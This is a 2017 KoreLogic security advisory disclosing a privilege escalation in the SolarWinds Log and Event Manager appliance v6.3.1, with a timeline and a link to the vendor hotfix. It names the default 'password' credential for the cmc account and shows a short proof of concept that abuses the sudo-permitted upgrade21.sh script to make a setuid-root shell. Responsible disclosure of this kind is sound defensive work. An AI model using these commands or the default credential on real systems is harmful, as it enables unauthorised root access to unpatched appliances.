KL-001-2017-006 : Solarwinds LEM Privilege Escalation via Sudo Script Abuse Title: Solarwinds LEM Privilege Escalation via Sudo Script Abuse Advisory ID: KL-001-2017-006 Publication Date: 2017.04.24 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-006.txt 1. Vulnerability Details Affected Vendor: Solarwinds Affected Product: Log and Event Manager Virtual Appliance Affected Version: v6.3.1 Platform: Embedded Linux CWE Classification: CWE-269: Improper Privilege Management Impact: Privileged Access Attack vector: SSH 2. Vulnerability Description An attacker can abuse functionality provided by a script which may be run with root privilege in order to elevate privilege. 3. Technical Description Should an attacker gain access to the SSH console for the cmc user, root access to the underlying operating system can be achieved. The default password for the cmc user is "password". The cmc account can run certain script files with root privilege. Listed below: cmc ALL=(ALL) NOPASSWD: /usr/local/contego/scripts/activate.pl, /usr/local/contego/scripts/apply_hotfix, /usr/local/contego/scripts/cleantemp.pl, /usr/local/contego/scripts/contego-archive, /usr/local/contego/scripts/contego-backup, /usr/local/contego/scripts/contego-logbackup, /usr/local/contego/scripts/debugdump.pl, /usr/local/contego/scripts/disable_ipv6.sh, /usr/local/contego/scripts/exportsyslog.pl, /usr/local/contego/scripts/hostname.sh, /usr/local/contego/scripts/ipchains_restore.sh, /usr/local/contego/scripts/managerReset.pl, /usr/local/contego/scripts/mountshare.sh, /usr/local/contego/scripts/mountsolr.pl, /usr/local/contego/scripts/netconfig.sh, /usr/local/contego/scripts/opseccontrol.sh, /usr/local/contego/scripts/rcc.pl, /usr/local/contego/scripts/setupCert.sh, /usr/local/contego/scripts/sim2lem.pl, /usr/local/contego/scripts/snortcontrol.sh, /usr/local/contego/scripts/sshcontrol.sh, /usr/local/contego/scripts/swi_login_update.pl, /usr/local/contego/scripts/timecontrol.sh, /usr/local/contego/scripts/upgrade.pl, /usr/local/contego/scripts/upgrade21.sh, /usr/local/contego/scripts/upgrade_bootloader.sh, /usr/local/contego/scripts/recovery.py, /sbin/shutdown, /usr/bin/lem/lynx-admin-ui One script, upgrade21.sh allows the user to change ownership and permission bits for an arbitrary file. This can be abused to elevate privilege to root. cmc@swi-lem:/usr/local/contego/scripts$ cp /bin/dash /tmp/koresh cmc@swi-lem:/usr/local/contego/scripts$ sudo ./upgrade21.sh setperms /tmp/koresh root root 4755 sudo: unable to resolve host swi-lem cmc@swi-lem:/usr/local/contego/scripts$ /tmp/koresh # id uid=1001(cmc) gid=1000(trigeo) euid=0(root) groups=0(root),4(adm),24(cdrom),25(floppy),104(postgres),105(snort),1000(trigeo),1002(dbadmin) 4. Mitigation and Remediation Recommendation The vendor has released a Hotfix to remediate this vulnerability. Hotfix and installation instructions are available at: https://thwack.solarwinds.com/thread/111223 5. Credit This vulnerability was discovered by Hank Leininger and Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2017.02.16 - KoreLogic sends vulnerability report and PoC to Solarwinds <psirt@solarwinds.com> using PGP key with fingerprint A86E 0CF6 9665 0C8C 8A7C C9BA B373 8E9F 951F 918F. 2017.02.20 - Solarwinds replies that the key is no longer in use, requests alternate communication channel. 2017.02.22 - KoreLogic submits vulnerability report and PoC to alternate Solarwinds contact. 2017.02.23 - Solarwinds confirms receipt of vulnerability report. 2017.04.06 - 30 business days have elapsed since Solarwinds acknowledged receipt of vulnerability details. 2017.04.11 - Solarwinds releases hotfix and public disclosure. 2017.04.24 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt